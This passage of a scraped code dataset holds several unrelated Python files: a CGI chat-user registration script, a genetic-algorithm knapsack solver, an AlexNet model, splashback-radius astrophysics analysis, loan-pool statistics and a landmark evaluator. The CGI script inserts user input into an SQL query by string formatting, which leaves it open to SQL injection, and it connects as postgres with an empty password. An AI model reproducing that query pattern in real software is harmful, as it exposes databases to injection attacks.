True\n\nif name == '' or not str.isdecimal(id):\n f = False\nelse:\n id = int(id)\n\nif f:\n #if \"name\" not in form or \"id\" not in form:\n # form_check = 1 # form_check は 1\n\n #データベース 接続\n conn = psycopg2.connect(\"dbname=chat user=postgres password=\")\n print(conn.get_backend_pid())\n\n #カーソル取得\n cur = conn.cursor()\n\n #SELECT 文 の 実行\n cur.execute(\"select * from reg_user;\")\n\n user = []\n for row in cur:\n user.append(row)\n\n for u in user:\n if name == u[1] or id == int(u[0]):\n f = False\n\nif f:\n cur.execute(\"insert into reg_user (name, id) values ('{name}', {id});\".format(name=name, id=id))\n conn.commit()\n\n print(\"Content-Type: text/html;\")\n print(\"\")\n print(\"\"\"\n<!DOCTYPE html>\n<html lang=\"ja\">\n<head>\n <meta charset=\"UTF-8\" />\n <title>ログイン画面\n\n\n
\n お名前
\n ID
\n \n 作成\n
\n\n\n\"\"\")\n\nelse:\n print(\"Content-Type: text/html;\")\n print(\"\")\n print(\"\"\"\n\n\n \n \n 作成画面\n \n \n
\n お名前
\n ID
\n エラー\n \n \n
\n \n \n\n\"\"\".format(name=name, id=id))\n\n# cur.execute(\"delete from holiday where id = 11;\")\n# cur.execute(\"select * from holiday;\")\n# url = \"http://localhost:8000/create.htm\"\n\n\n\n#結果 の 出力\n# for row in cur:\n# print(row)\n\n# print(\"Content-Type: text/html;\")\n# print(\"\")\n# print(\"\"\"\n# \n# \n# \n# \n# 作成画面\n# \n# \n#
\n# お名前
\n# ID
\n#\n# \n# \n#
\n# \n# \n# \"\"\".format(name=name, id=id))\n# print(name)\n# print(id)","repo_name":"ShinyaKobukai/chat_system","sub_path":"cgi-bin/chat_system.py","file_name":"chat_system.py","file_ext":"py","file_size_in_byte":3010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25003181867","text":"import numpy as np\nimport random\nimport time\n\ndef DictProcess(weights):\n weights_dict = {}\n for i in range(len(weights)):\n weights_dict[i] = weights[i]\n return weights_dict\n\nclass SimpleGeneticAlgorithm():\n def __init__(self,weights,values,capacity):\n self.capacity = capacity\n self.weights = weights\n self.weights_dict = DictProcess(weights)\n self.values = values\n self.values_dict = DictProcess(values)\n self.item_num = len(self.weights)\n self.seed_num = 1000\n self.offspring_num = self.seed_num\n self.macro_alpha = 0.5\n self.micro_alpha = 0.2\n self.numIters = 100\n\n def InitializeProcess(self):\n population = []\n for idx in range(self.seed_num):\n population.append([1 if random.uniform(0,1) >= 0.5 else 0 for i in [0]*self.item_num])\n return population\n \n def Fitness(self,population):\n record_lists = []\n for individual in population:\n value = 0\n weight = 0\n for idx,item in enumerate(individual):\n if item == 0:\n continue\n value += self.values_dict[idx]\n weight += self.weights_dict[idx]\n if weight > self.capacity:\n break\n if weight > self.capacity:\n continue\n record_lists.append([individual,value])\n # print (record_lists)\n sum_value = sum([i[1] for i in record_lists])\n roulette_wheel_list = []\n cumm_prob = 0\n for item in record_lists:\n cumm_prob_0 = cumm_prob\n prob_ = item[1]/sum_value\n cumm_prob += prob_\n roulette_wheel_list.append([item[0],[cumm_prob_0,cumm_prob]])\n return roulette_wheel_list\n \n def CrossOver(self,roulette_wheel_list):\n offsprings = []\n for turn in range(self.offspring_num):\n select_items = []\n for double in range(2):\n decision_prob = random.uniform(0,1)\n for item in roulette_wheel_list:\n if decision_prob>=item[1][0] and decision_prob= self.alpha:\n # continue\n # new_population.append([1-i for i in individual])\n # return new_population\n\n def Mutation(self,population):\n new_population = []\n for individual in population:\n decision_prob = random.uniform(0,1)\n if decision_prob >= self.macro_alpha:\n continue\n new_population.append([1-i for i in individual])\n for individual in population:\n new_individual = []\n for sub_ in individual:\n decision_prob = random.uniform(0,1)\n if decision_prob >= self.micro_alpha:\n new_individual.append(sub_)\n continue\n new_individual.append(1-sub_)\n if new_individual == individual:\n continue\n new_population.append(new_individual) \n new_population.extend(population) \n return new_population\n\n def Selection(self,population):\n record_lists = []\n for individual in population:\n value = 0\n weight = 0\n for idx,item in enumerate(individual):\n if item == 0:\n continue\n value += self.values_dict[idx]\n weight += self.weights_dict[idx]\n if weight > self.capacity:\n break\n if weight > self.capacity:\n continue\n record_lists.append([individual,value])\n record_lists.sort(key=lambda x:x[1],reverse=True)\n # print (record_lists[:10])\n set_record_lists = []\n for i in record_lists[:self.seed_num]:\n if i in set_record_lists:\n continue\n set_record_lists.append(i)\n print (set_record_lists)\n selected_population = [i[0] for i in record_lists[:self.seed_num]]\n return selected_population\n \n def Iteration(self):\n population = self.InitializeProcess()\n for iteration in range(self.numIters):\n roulette_wheel_list = self.Fitness(population)\n offsprings = self.CrossOver(roulette_wheel_list)\n population = self.Mutation(population)\n population.extend(offsprings)\n population = self.Selection(population)\n\nif __name__ == \"__main__\":\n # capacity = int(input())\n capacity = 12\n weights = [4,6,2,2,5,1]\n values = [8,10,6,3,7,2]\n EA = SimpleGeneticAlgorithm(weights,values,capacity)\n SimpleGeneticAlgorithm.Iteration(EA)\n","repo_name":"RandyRONG/GAEC","sub_path":"Randy/EA_knapsack.py","file_name":"EA_knapsack.py","file_ext":"py","file_size_in_byte":5295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72913989548","text":"# tensorflow imports\nfrom tensorflow.keras.layers import Input, Conv2D, Dense, Flatten, MaxPooling2D,Dropout, BatchNormalization, Activation\nfrom tensorflow.keras.models import Model\nfrom tensorflow.keras.utils import to_categorical\nfrom sklearn.metrics import accuracy_score\nfrom tensorflow.keras.models import Sequential\n\ndef AlexnetModel(input_shape,num_classes):\n model = Sequential()\n# model.add(Conv2D(96, (11,11), strides=(4,4), activation='relu', padding='same', input_shape=(img_height, img_width, channel,)))\n# for original Alexnet\n model.add(Conv2D(48, (3,3), strides=(2,2), activation='relu', padding='same', input_shape=input_shape))\n model.add(MaxPooling2D(pool_size=(2, 2), strides=(2,2)))\n# Local Response normalization for Original Alexnet\n model.add(BatchNormalization())\n\n model.add(Conv2D(96, (3,3), activation='relu', padding='same'))\n model.add(MaxPooling2D(pool_size=(3, 3), strides=(2,2)))\n# Local Response normalization for Original Alexnet\n model.add(BatchNormalization())\n\n model.add(Conv2D(192, (3,3), activation='relu', padding='same'))\n model.add(Conv2D(192, (3,3), activation='relu', padding='same'))\n model.add(Conv2D(256, (3,3), activation='relu', padding='same'))\n model.add(MaxPooling2D(pool_size=(3, 3), strides=(2,2)))\n# Local Response normalization for Original Alexnet\n model.add(BatchNormalization())\n\n model.add(Flatten())\n model.add(Dense(512, activation='relu'))\n model.add(Dropout(0.5))\n model.add(Dense(256, activation='relu'))\n model.add(Dropout(0.5))\n model.add(Dense(num_classes, activation='softmax'))\n return model","repo_name":"ijarin/Test_keras","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19053281736","text":"from __future__ import division\n\nimport sys\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport scipy.signal as signal\nimport scipy.stats as stats\nimport scipy.interpolate as intr\nimport deriv\n\nclass SplinedBinConverter(object):\n def __init__(self, low, high, bins):\n self.low, self.high, self.bins = low, high, bins\n dx = (self.high - self.low) / bins\n self.edges = np.linspace(low, high, bins + 1)\n \n def dx(self):\n return (self.high - self.low) / self.bins\n\n def convert(self, xs, ys):\n ys = ys[(self.edges[0] <= xs) & (xs <= self.edges[-1])]\n xs = xs[(self.edges[0] <= xs) & (xs <= self.edges[-1])]\n if len(xs) <= 3 or len(ys) <= 3: return None, None\n\n low_edge_idx = np.searchsorted(self.edges, xs[0])\n if low_edge_idx == 0: low_edge_idx = 1\n high_edge_idx = np.searchsorted(self.edges, xs[-1])\n\n sp = intr.UnivariateSpline(xs, ys, s=0)\n\n if high_edge_idx == low_edge_idx:\n return (np.array([xs[0], xs[-1]]),\n np.array([sp.integral(xs[0], xs[-1]) / (xs[-1] - xs[0])]))\n\n edges = self.edges[low_edge_idx - 1: high_edge_idx + 1]\n\n first = self._first_bin(edges, xs, sp)\n mid = self._mid_bins(edges, xs, sp)\n last = self._last_bin(edges, xs, sp)\n \n return edges, append(first, mid, last)\n \n def _first_bin(self, edges, xs, sp):\n if xs[0] == edges[1]: return []\n return [sp.integral(xs[0], edges[1]) / (edges[1] - xs[0])]\n\n def _mid_bins(self, edges, xs, sp):\n vals = np.zeros(len(edges) - 3)\n for i in xrange(len(vals)):\n start_edge, end_edge = edges[i + 1], edges[i + 2]\n vals[i] = (sp.integral(start_edge, end_edge) /\n (end_edge - start_edge))\n return vals\n\n def _last_bin(self, edges, xs, sp):\n if xs[-1] == edges[-2]: return []\n return [sp.integral(edges[-2], xs[-1]) / (xs[-1] - edges[-2])]\n\ndef append(*arrays):\n out, idx = np.zeros(sum(map(len, arrays))), 0\n for array in arrays:\n for i in xrange(len(array)):\n out[idx] = array[i]\n idx += 1\n return out\n\ndef pretty_fig(n):\n \"\"\" pretty_fig(n) is equivalent to plt.figure(n), except it also\n sets a number of options which make the resulting plot look nicer.\n \"\"\"\n plt.figure(n)\n plt.rc('text', usetex=True)\n plt.rc('font',size=19)\n plt.rc('xtick.major',pad=5); plt.rc('xtick.minor',pad=5)\n plt.rc('ytick.major',pad=5); plt.rc('ytick.minor',pad=5)\n\ndef nan_split(rs, rhos):\n \"\"\" nan_split(rs, rhos) splits up rs and rhos into lists of contiguous\n non-NaN seqeunces of values.\n \"\"\"\n rs_group, rhos_group = [], []\n start_i = 0\n prev_nan = False\n\n for i in xrange(len(rs)):\n if np.isnan(rhos[i]):\n if not prev_nan:\n if i != start_i:\n rs_group.append(np.array(rs[start_i: i]))\n rhos_group.append(np.array(rhos[start_i: i]))\n prev_nan = True\n else:\n if prev_nan:\n start_i = i\n prev_nan = False\n if not prev_nan:\n rs_group.append(np.array(rs[start_i:len(rs)]))\n rhos_group.append(np.array(rhos[start_i:len(rhos)]))\n return rs_group, rhos_group\n\ndef r_sp(rs, rhos, derivs, lim=-5):\n curr_min = rhos <= np.minimum.accumulate(rhos)\n idxs = signal.argrelextrema(derivs, np.less)[0]\n idxs = np.array([idx for idx in idxs if idx != 0 and idx != len(rs) - 1])\n if len(idxs) == 0: return np.nan\n idxs = idxs[curr_min[idxs]]\n if len(idxs) == 0: return np.nan\n idxs = idxs[derivs[idxs] < lim]\n if len(idxs) == 0: return np.nan\n min_idx = idxs[np.argmin(derivs[idxs])] \n return rs[min_idx]\n\n# rs must be evenly spaced.\ndef find_splashback(rs, rhos, sg_window):\n sm_rhos = signal.savgol_filter(rhos, sg_window, 4)\n dr = (rs[-1] - rs[0]) / (len(rs) - 1)\n sm_derivs = signal.savgol_filter(rhos, sg_window, 4, deriv=1, delta=dr)\n return r_sp(rs, sm_rhos, sm_derivs, lim=-5)\n\ndef splashback_range(rs, rhos, range_max=101):\n if rs[0] <= 0: rs, rhos = rs[1:], rhos[1:]\n r_sps = []\n lrs, lrhos = np.log10(rs), np.log10(rhos)\n for sg_window in xrange(2, range_max//2):\n sg_window = sg_window * 2 + 1\n if sg_window >= len(lrs): break\n r_sp = find_splashback(lrs, lrhos, sg_window)\n if np.isnan(r_sp): break\n r_sps.append(r_sp)\n return 10**np.array(r_sps)\n\ncs = [\"k\", \"r\", \"b\", \"g\", \"pink\", \"orange\",\n \"brown\", \"y\", \"DarkMagenta\", \"LightSlateGray\"]\n\nif __name__ == \"__main__\":\n rows = np.loadtxt(sys.argv[1])\n vec_xs, vec_ys, vec_zs = rows[:3]\n idxs = np.arange(len(vec_xs) // 2) * 2\n vec_xs, vec_ys, vec_zs = vec_xs[idxs], vec_ys[idxs], vec_zs[idxs]\n rows = rows[3:]\n cols = map(lambda *x: x, *rows)\n profile_count = len(cols) // 2\n\n bins = 200\n range_max = 100\n log_low, log_high = -2, 0\n log_converter = SplinedBinConverter(log_low, log_high, bins)\n \n max_cutoff, std_cutoff = 0.1, 0.1\n\n n, m = 0, 0\n\n maxes, stds, valid_rs = [], [], []\n for i in xrange(profile_count):\n rs_group, rhos_group = nan_split(cols[2*i], cols[2*i + 1])\n for rs, rhos in zip(rs_group, rhos_group):\n R = np.nan\n if rs[0] <= 0: rs, rhos = rs[1:], rhos[1:]\n edges, vals = log_converter.convert(np.log10(rs), np.log10(rhos))\n if edges is None: continue \n rs, rhos = 10**((edges[:-1] + edges[1:]) / 2), 10**vals\n\n if len(rs) <= 21: continue\n rs_range = splashback_range(rs, rhos, range_max)\n if len(rs_range) * 2 <= 21: continue\n\n r_mean, r_std = np.mean(rs_range), np.std(rs_range)\n drs = np.abs(rs_range[1:] - rs_range[:-1])\n dr_max, dr_max_mean = np.max(drs), np.mean(drs)\n dr_sign_max_mean = np.mean(rs_range[1:] - rs_range[:-1])\n rs_range_diff = np.max(rs_range) - np.min(rs_range)\n\n # Howwwwwww??\n if dr_max == 0 or r_std == 0: continue\n m += 1\n\n maxes.append(dr_max / r_mean)\n stds.append(r_std / r_mean)\n\n # Figure 0 \n plt.figure(0)\n c = cs[i] if i < len(cs) else \"w\"\n plt.plot(dr_max / r_mean, r_std / r_mean, \"o\")\n\n if i < 10:\n plt.figure(4)\n windows = np.arange(2, len(rs_range) + 2)*2 + 1\n plt.plot(windows, rs_range, c=c, lw=3)\n is_good = dr_max/r_mean ListNode:\n if head:\n return head\n pre=head\n cnt=1\n while pre.next:\n pre=pre.next\n cnt+=1\n if cnt<3:\n return head\n\n cur = head.next\n tail=pre\n pre=head\n loop=int(cnt / 2)\n for i in range(loop):\n pre.next=cur.next\n cur.next=None\n tail.next=cur\n tail=tail.next\n pre=pre.next\n cur=pre.next\n return head\n# head=ListNode(1,ListNode(2,ListNode(3,ListNode(4,ListNode(5,ListNode(6,ListNode(7,ListNode(8))))))))\nhead=ListNode(1,ListNode(2,ListNode(3,ListNode(4))))\ntmp=head.next\nhead,tmp=tmp,head\ns=Solution().oddEvenList(head)","repo_name":"skybig233/leetcode","sub_path":"q328.py","file_name":"q328.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30834225418","text":"# Counts labels for each training point cloud, logs to a fileg\nfrom collections import Counter\nimport os\nfrom tqdm import tqdm\n\nDIR_PATH = os.path.dirname(__file__)\nDATA_PATH = os.path.join(DIR_PATH, 'data')\nLOGS_PATH = os.path.join(DIR_PATH, 'logs')\nTRAIN_PATH = os.path.join(DATA_PATH, 'train')\nLABELS_PATH = os.path.join(TRAIN_PATH, 'train-labels')\n\n# Same files for both reduced-8 and semantic-8\ntrain_files = [\n \"bildstein_station1_xyz_intensity_rgb\",\n \"bildstein_station3_xyz_intensity_rgb\",\n \"bildstein_station5_xyz_intensity_rgb\",\n \"domfountain_station1_xyz_intensity_rgb\",\n \"domfountain_station2_xyz_intensity_rgb\",\n \"domfountain_station3_xyz_intensity_rgb\",\n \"neugasse_station1_xyz_intensity_rgb\",\n \"sg27_station1_intensity_rgb\",\n \"sg27_station2_intensity_rgb\",\n \"sg27_station4_intensity_rgb\",\n \"sg27_station5_intensity_rgb\",\n \"sg27_station9_intensity_rgb\",\n \"sg28_station4_intensity_rgb\",\n \"untermaederbrunnen_station1_xyz_intensity_rgb\",\n \"untermaederbrunnen_station3_xyz_intensity_rgb\",\n]\n\nlog_file = os.path.join(LOGS_PATH, 'balance.log')\n\nif not os.path.exists(LOGS_PATH):\n os.makedirs(LOGS_PATH)\n\nfor f in tqdm(train_files):\n print(\"Counting labels in \" + f)\n file_name = f + '.labels'\n f_path = os.path.join(LABELS_PATH, file_name)\n # Open file and count occurences of each label\n c = Counter()\n for line in tqdm(open(f_path, 'r')):\n c.update(line.split())\n\n print(\"Writing count of labels to \" +log_file)\n with open(log_file, 'a') as log:\n log.write(str(c))\n","repo_name":"rdimaio/aptbps-code","sub_path":"misc/semantic3d-label-counter.py","file_name":"semantic3d-label-counter.py","file_ext":"py","file_size_in_byte":1562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32796967866","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu May 24 17:02:56 2018\r\n\r\n@author: jonah.chen\r\n\"\"\"\r\nimport pandas as pd\r\nfrom constant import wb_name\r\nfrom abs_util.util_general import save_to_excel,get_logger,stastics_group_by_d,df_bins_result\r\nimport datetime\r\nfrom Params import Batch_ID\r\n\r\n\r\nlogger = get_logger(__name__)\r\n\r\nclass Statistics():\r\n \r\n def __init__(self,df):\r\n\r\n self.asset_pool = df\r\n self.max_maturity_date = datetime.date(3000,1,1)\r\n self.max_province_profession = {}\r\n \r\n def general_statistics_1(self):\r\n logger.info('calculating basic tables')\r\n df = self.asset_pool\r\n \r\n logger.info('Statistics Dimension Setting.....')\r\n df['Amount_Contract'] = df['Amount_Contract_yuan']#/10000\r\n df['OutstandingPrincipal'] = df['Amount_Outstanding_yuan']\r\n df['Amount_Outstanding'] = df['Amount_Outstanding_yuan']#/10000\r\n df['No_Contract_helper'] = df['No_Contract']\r\n \r\n df_unique_ID = df.groupby('ID')\\\r\n .agg({'No_Contract':'count'})\\\r\n .reset_index()\\\r\n .rename(columns = {'No_Contract':'ID_Unique'})\r\n \r\n df_unique_NO = df.groupby('No_Contract_helper')\\\r\n .agg({'No_Contract':'count'})\\\r\n .reset_index()\\\r\n .rename(columns = {'No_Contract_helper':'NO_Unique'})\r\n \r\n b_s_1 = {'贷款笔数':df['No_Contract'].count(),\r\n '合同数':df_unique_NO['NO_Unique'].count(),\r\n '借款人数量':df_unique_ID['ID_Unique'].count(),\r\n '合同初始金额总额(万元)':df['Amount_Contract'].sum(),\r\n '未偿本金余额总额(万元)':df['Amount_Outstanding'].sum(),\r\n '借款人平均未偿本金余额(万元)':df['Amount_Outstanding'].sum() / df_unique_ID['ID_Unique'].count(),\r\n '单笔贷款最高本金余额(万元)':df['Amount_Outstanding'].max(),\r\n '单笔贷款平均本金余额(万元)': df['Amount_Outstanding'].sum() / df['No_Contract'].count(),\r\n '单笔贷款最高合同金额(万元)': df['Amount_Contract'].max(), \r\n '单笔贷款平均合同金额(万元)':df['Amount_Contract'].sum() / df['No_Contract'].count()\r\n }\r\n \r\n b_s_2 = {'加权平均贷款合同期限(天)':(df['LoanTerm']*df['Amount_Outstanding']).sum()/df['Amount_Outstanding'].sum(),\r\n '加权平均贷款账龄(天)':(df['LoanAge']*df['Amount_Outstanding']).sum()/df['Amount_Outstanding'].sum(),\r\n '加权平均贷款剩余期限(天)':(df['LoanRemainTerm']*df['Amount_Outstanding']).sum()/df['Amount_Outstanding'].sum(),\r\n '单笔贷款最长剩余期限(天)':df['LoanRemainTerm'].max(),\r\n '单笔贷款最短剩余期限(天)':df['LoanRemainTerm'].min(),\r\n '单笔贷款最长期限(天)':df['LoanTerm'].max(),\r\n '单笔贷款最短期限(天)':df['LoanTerm'].min()\r\n }\r\n \r\n #TODO: Complete b_s_3\r\n try:\r\n b_s_3 = {'加权平均贷款年利率(%)':(df['Interest_Rate']*df['Amount_Outstanding']).sum()/df['Amount_Outstanding'].sum() * 100,\r\n '单笔贷款最高年利率(%)':df['Interest_Rate'].max() * 100,\r\n '单笔贷款最低年利率(%)':df['Interest_Rate'].min() * 100, \r\n '加权平均贷款月度内部收益率(%)':(df['Interest_Rate']*df['Amount_Outstanding']).sum()/df['Amount_Outstanding'].sum() * 100 /12,\r\n '加权平均信用评分':(df['Credit_Score']*df['Amount_Outstanding']).sum()/df['Amount_Outstanding'].sum() \r\n }\r\n \r\n except(KeyError):\r\n b_s_3 = {'加权平均贷款年利率(%)':(df['Interest_Rate']*df['Amount_Outstanding']).sum()/df['Amount_Outstanding'].sum() * 100,\r\n '单笔贷款最高年利率(%)':df['Interest_Rate'].max() * 100,\r\n '单笔贷款最低年利率(%)':df['Interest_Rate'].min() * 100, \r\n '加权平均贷款月度内部收益率(%)':(df['Interest_Rate']*df['Amount_Outstanding']).sum()/df['Amount_Outstanding'].sum() * 100 /12,\r\n }\r\n \r\n \r\n try:\r\n b_s_4 = {\r\n '借款人加权平均年龄':(df['Age_Project_Start']*df['Amount_Outstanding']).sum()/df['Amount_Outstanding'].sum(),\r\n '30-40岁借款人贷款余额占比(%)':df[(df['Age_Project_Start']>30) & (df['Age_Project_Start']<=40)]\\\r\n ['Amount_Outstanding'].sum() / df['Amount_Outstanding'].sum() * 100, \r\n \r\n '借��人加权平均年收入(万元)':(df['Income']*df['Amount_Outstanding']).sum()/df['Amount_Outstanding'].sum() / 10000 ,\r\n }\r\n except(KeyError):b_s_4 = {}\r\n# \r\n df_b_s_list = []\r\n for b_s_dict in [b_s_1,b_s_2,b_s_3,b_s_4]:\r\n df_b_s = pd.DataFrame(list(b_s_dict.items()),columns=['项目','数值'])\r\n df_b_s_list.append(df_b_s)\r\n save_to_excel(df_b_s_list,'statistics'+Batch_ID,wb_name)\r\n\r\n #print(df_unique_ID[:5])\r\n #df_ID_cnt_gt_1 = df_unique_ID[df_unique_ID['ID_Unique'] > 1]\r\n #df_ID_cnt_gt_1.to_csv('df_ID_cnt_gt_1.csv')\r\n \r\n def loop_Ds_ret_province_profession(self,Distribution_By_Category,Distribution_By_Bins):\r\n \r\n logger.info('Calculating distribution tables' )\r\n \r\n df = self.asset_pool\r\n \r\n logger.info('Statistics Dimension Setting.....')\r\n df['Credit'] = df['Amount_Contract_yuan']\r\n df['Amount_Contract'] = df['Amount_Contract_yuan']#/10000\r\n df['OutstandingPrincipal'] = df['Amount_Outstanding_yuan']\r\n df['Amount_Outstanding'] = df['Amount_Outstanding_yuan']#/10000\r\n \r\n dimension_category_list = []\r\n max_province_profession = {}\r\n for dimension_category in Distribution_By_Category:\r\n logger.info('Calculating for ' + dimension_category )\r\n try:\r\n group_this_d = stastics_group_by_d(df,dimension_category,dimension_category)\r\n dimension_category_list.append(group_this_d)\r\n if dimension_category in ['Province','Profession']:\r\n max_province_profession[dimension_category] = max(group_this_d['本金余额占比'])\r\n except(KeyError):\r\n logger.info(dimension_category + ' Calculation failed.' )\r\n except(ValueError):\r\n logger.info(dimension_category + ' Calculation failed.' )\r\n continue\r\n \r\n save_to_excel(dimension_category_list,'statistics'+Batch_ID,wb_name)\r\n \r\n dimension_bins_list = []\r\n for dimension_bins in Distribution_By_Bins.keys():\r\n logger.info('Calculating for ' + dimension_bins )\r\n try:\r\n group_this_d_bins = df_bins_result(df,dimension_bins,Distribution_By_Bins[dimension_bins])\r\n group_this_d_bins[dimension_bins] = group_this_d_bins[dimension_bins].astype(str)\r\n dimension_bins_list.append(group_this_d_bins)\r\n except(KeyError): \r\n logger.info('Calculating for ' + dimension_bins + 'Failed' ) \r\n continue\r\n save_to_excel(dimension_bins_list,'statistics'+Batch_ID,wb_name)\r\n \r\n self.max_province_profession = max_province_profession\r\n \r\n def general_statistics_2(self):\r\n\r\n b_s_5 = self.max_province_profession\r\n \r\n b_s_6 = {'逾期次数为0次的占比(%)':'',\r\n '逾期次数在5次之内的占比(%)':'',\r\n '本期资产支持证券入池资产共涉及借款人【】位,':'',\r\n '其中【】位借款人在发起机构的各笔贷款未全部入池':''\r\n }\r\n \r\n df_b_s_list = []\r\n for b_s_dict in [b_s_5,b_s_6]: \r\n df_b_s = pd.DataFrame(list(b_s_dict.items()),columns=['项目','数值'])\r\n df_b_s_list.append(df_b_s)\r\n save_to_excel(df_b_s_list,'statistics'+Batch_ID,wb_name)\r\n \r\n \r\n def cal_income2debt_by_ID(self):\r\n \r\n df = self.asset_pool\r\n \r\n logger.info('WA_Income2Debt_by_ID.....')\r\n df['Amount_Contract'] = df['Amount_Contract_yuan']#/10000\r\n df['OutstandingPrincipal'] = df['Amount_Outstanding_yuan']\r\n df['Amount_Outstanding'] = df['Amount_Outstanding_yuan']#/10000\r\n \r\n df['weight'] = df['Amount_Outstanding'] / df.groupby('ID')['Amount_Outstanding'].transform('sum')\r\n df['wa_Term_Remain'] = df['Term_Remain'] * df['weight']\r\n Income2Debt_by_ID = df.groupby('ID')\\\r\n .agg({'Income':'mean','wa_Term_Remain':'sum','Amount_Outstanding':'sum'})\\\r\n .reset_index()\r\n \r\n WA_Income2Debt_by_ID = (Income2Debt_by_ID['Income']/12*Income2Debt_by_ID['wa_Term_Remain']).sum() / (Income2Debt_by_ID['Amount_Outstanding']).sum() / 10000\r\n \r\n WA_Income2Debt = {'加权平均债务收入比':WA_Income2Debt_by_ID}\r\n df_WA_Income2Debt = pd.DataFrame(list(WA_Income2Debt.items()),columns=['项目','数值'])\r\n \r\n save_to_excel(df_WA_Income2Debt,'statistics'+Batch_ID,wb_name)","repo_name":"chenxianwang/iJupyterLab-ABS","sub_path":"Statistics.py","file_name":"Statistics.py","file_ext":"py","file_size_in_byte":9593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16424538322","text":"dinero_inicial = float(input(\"Introduzca el dinero depositado inicialmente\"))\ninterés_primer_año = dinero_inicial * 0.04\ndinero_primer_año = dinero_inicial - interés_primer_año\nprint(\"El dinero del tercer año es\", round(dinero_primer_año))\ninterés_segundo_año = dinero_primer_año * 0.04\ndinero_segundo_año = dinero_primer_año - interés_segundo_año\nprint(\"El dinero del tercer año es\", round(dinero_segundo_año))\ninterés_tercer_año = dinero_segundo_año * 0.04\ndinero_tercer_año = dinero_segundo_año - interés_tercer_año\nprint(\"El dinero del tercer año es\", round(dinero_tercer_año))","repo_name":"SergioZaba/practica0201_szabalenic","sub_path":"Ejercicio 11.py","file_name":"Ejercicio 11.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2478537385","text":"import json\nimport logging\nimport os\nimport re\nimport string\nfrom datetime import datetime\n\nFILE_LINES_COUNT = 409129302\n\nlogging.basicConfig(level=logging.NOTSET)\njson_parser_logger = logging.getLogger('json_parser')\njson_parser_logger.setLevel(level=logging.FATAL)\n\n\ndef custom_replaces(line: str):\n line = re.sub(r'NumberInt\\((.+)\\)', r'\\1', line)\n line = line.replace('\\\\\\\\', ' ')\n for c in string.ascii_lowercase:\n if c in ('n', 't'):\n continue\n line = line.replace(f'\\{c}', f'\\\\\\{c}')\n if line.startswith('},'):\n line = '}'\n return line\n\n\ndef parse_json(file_path: str,\n previous_parsed_documents: int = 0,\n log_period: int = 10000):\n curr_lines_count = 1\n init_time = datetime.now()\n with open(file_path) as f:\n f.readline() # first array open line \"[\"\n documents_count = 0\n run = True\n while True:\n document_lines = ''\n while True:\n line = f.readline()\n curr_lines_count += 1\n line = custom_replaces(line)\n document_lines += line\n if documents_count >= previous_parsed_documents - 1:\n json_parser_logger.debug(f'{line.encode()}')\n if line == '}':\n break\n if line == ']':\n run = False\n break\n if not run:\n break\n documents_count += 1\n if documents_count < previous_parsed_documents:\n continue\n document_lines = re.sub(r'NumberInt\\((.+)\\)', r'(\\1)', document_lines)\n json_parser_logger.debug(document_lines.encode())\n json_parser_logger.warning(documents_count)\n json_doc = json.loads(document_lines)\n json_parser_logger.info(json_doc)\n\n file_progress = curr_lines_count / FILE_LINES_COUNT\n if documents_count % log_period == 0:\n json_parser_logger.error(f'[{datetime.now() - init_time}] '\n f'file progress: {file_progress * 100:3.2f}%, '\n f'documents uploaded: {documents_count}')\n yield json_doc\n\n\ndef made_correct_ljson(output_file: str):\n with open(output_file, 'w') as output_file:\n for doc_json in parse_json(os.environ['JSON_PATH']):\n output_file.writelines([json.dumps(doc_json), '\\n'])\n\n\nif __name__ == '__main__':\n json_parser_logger.setLevel(level=logging.ERROR)\n made_correct_ljson('/correct.txt')\n","repo_name":"tupiznak/made-project","sub_path":"backend/database/load_json.py","file_name":"load_json.py","file_ext":"py","file_size_in_byte":2605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32273025713","text":"\r\nimport numpy as np\r\nimport csv\r\nfrom collections.abc import Iterable\r\nfrom tutils import tdir, tfilename\r\n# from utils import make_dir\r\n\r\nWRIST_WIDTH = 50\r\n\r\ndef radial(pt1, pt2, factor=1):\r\n if not isinstance(factor, Iterable):\r\n factor = [factor]*len(pt1)\r\n rad = sum(((i-j)*s)**2 for i, j, s in zip(pt1, pt2, factor))**0.5\r\n assert rad > 0 , f\"Got {rad}\"\r\n return rad\r\n\r\nclass Evaluater(object):\r\n def __init__(self, logger, size):\r\n # self.pixel_spaceing =\r\n self.logger = logger\r\n self.RE_list = list()\r\n\r\n self.recall_radius = [2, 2.5, 3, 4, 10] # 2mm etc\r\n self.recall_rate = list()\r\n\r\n # Just for hand dataset\r\n self.size = size # original size is not fixed for hand dataset, we calculate it in realtime\r\n # self.scale_rate_y = 3900 / 384\r\n # self.scale_rate_x = 2700 / 384\r\n\r\n def reset(self):\r\n self.RE_list.clear()\r\n\r\n # def record(self, pred, landmark):\r\n # c = pred[0].shape[0]\r\n # diff = np.zeros([c, 2], dtype=float) # y, x\r\n # for i in range(c):\r\n # diff[i][0] = abs(pred[0][i] - landmark[i][1]) * self.scale_rate_y\r\n # diff[i][1] = abs(pred[1][i] - landmark[i][0]) * self.scale_rate_x\r\n # Radial_Error = np.sqrt(np.power(diff[:, 0], 2) + np.power(diff[:, 1], 2))\r\n # # Radial_Error *= self.pixel_spaceing\r\n # self.RE_list.append(Radial_Error)\r\n # return None\r\n def record_hand(self, pred, landmark):\r\n \"\"\"\r\n :param pred: [h, w], [h,w]\r\n :param landmark: [w,h], [w,h]\r\n :return:\r\n \"\"\"\r\n pred = np.array(pred)\r\n landmark = np.array(landmark)\r\n scale_rate = WRIST_WIDTH / radial(landmark[0], landmark[4])\r\n c = pred[0].shape[0]\r\n assert c 